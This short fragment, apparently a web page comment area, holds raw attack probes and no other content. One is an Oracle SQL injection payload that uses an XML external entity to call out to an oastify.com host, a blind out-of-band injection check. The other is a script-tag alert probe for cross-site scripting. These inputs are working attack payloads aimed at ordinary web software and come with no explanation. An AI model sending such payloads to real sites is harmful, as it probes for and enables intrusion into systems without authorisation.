(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % upmej SYSTEM "http://u61dhfe0gwdtu2edsm0qpi94lvrofn3qriea2z.oasti'||'fy.com/">%upmej;]>'),'/l') from dual)

<script>alert(2)</script>

Login to post a comment